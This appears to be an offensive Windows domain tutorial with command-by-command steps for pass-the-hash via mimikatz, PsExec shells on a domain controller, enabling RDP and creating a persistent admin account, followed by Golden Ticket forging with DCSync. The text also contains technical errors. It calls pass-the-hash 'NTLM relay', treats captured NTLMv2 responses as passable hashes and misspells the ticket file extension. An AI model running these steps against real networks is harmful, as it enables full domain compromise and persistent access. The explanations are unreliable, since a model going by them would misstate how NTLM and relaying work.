NTLM Hash Relaying

In modern Windows domains, direct plaintext credential extraction is increasingly difficult due to mitigations like KB2871997 and the default disabling of WDigest caching. How ever, attackers can bypas password cracking entirely by reusing captured NTLM authentication hashes—without ever needing to decrypt them. This technique, known as NTLM relay, exploits the fact that Windows authenticates users by comparing received NTLM response hashes against stored ones.

The UseLogonCredential registry value under HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest determines weather cleartext credentials are cached in LSASS memory. A value of 1 enables caching; 0 disables it. While disabling WDigest prevents cleartext recovery, it does not prevent hash capture or reuse.

# Enable WDigest credential caching
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# Disable WDigest credential caching
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

IPC$ Session Manipulation

IPC$ (Inter-Process Communication) shares enable authenticated remote administration over SMB. Successful use requires:

• Open TCP ports 139 and/or 445
• Enabled SMB file sharing with IPC$ available
• Valid domain credentials (or usable NTLM hash)

Common administrative operations via IPC$ include:

Command execution may be achieved using scheduled tasks:

at \\192.168.5.10 14:30 cmd /c "whoami > \\192.168.5.10\c$\temp\id.txt"

Practical NTLM Relay Attack

1. Capture NTLMv2 challenge-response hashes from a target system (e.g., via Responder or SMB relay).
2. Identify domain administrator accounts using net user /domain after SYSTEM-level access.
3. Attempt direct IPC$ connection to domain controller—typically denied without valid credentials.
4. Use mimikatz to perform Pass-the-Hash (PTH):

sekurlsa::pth /user:ADMIN /domain:corp.local /ntlm:e52cac67419a9a224a3b108f3fa6cb6d

5. A new elevated command prompt opens. From it, verify access:

dir \\DC01.corp.local\c$

6. Deploy PsExec to spawn a SYSTEM shell on the domain controller:

PsExec64.exe -accepteula -s \\DC01.corp.local cmd

7. Confirm context with ipconfig and hostname.

8. Enable Remote Desktop if disabled:

REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

9. Create persistent local admin account and authenticate via RDP.

Golden Ticket Generation

Kerberos authentication relies on the Key Distribution Center (KDC), where the krbtgt account serves as the cryptographic root. Its NT hash is used to sign all Ticket Granting Tickets (TGTs). Compromising this hash allows forging arbitrary TGTs—Golden Tickets—that grant unrestricted domain-wide access.

Steps to Forge a Golden Ticket

1. Extract the krbtgt hash from a domain controller using DCSync:

lsadump::dcsync /user:corp.local\krbtgt

2. Note the domain SID (excluding the RID suffix -502) and NT hash.

3. Generate the ticket on an attacker-controlled machine:

kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:8a9b2c7d1e6f4a5b8c9d0e1f2a3b4c5d /ticket:gold_admin.kiribi

4. Clear existing tickets and inject the forged one:

kerberos::purge
kerberos::ptt gold_admin.kiribi

5. Validate access:

dir \\DC01.corp.local\c$

Golden Tickets persist across password resets of regular domain accounts—and even most domain admins—unless the krbtgt password is rotated twice, forcing KDC to invalidate previously signed tickets.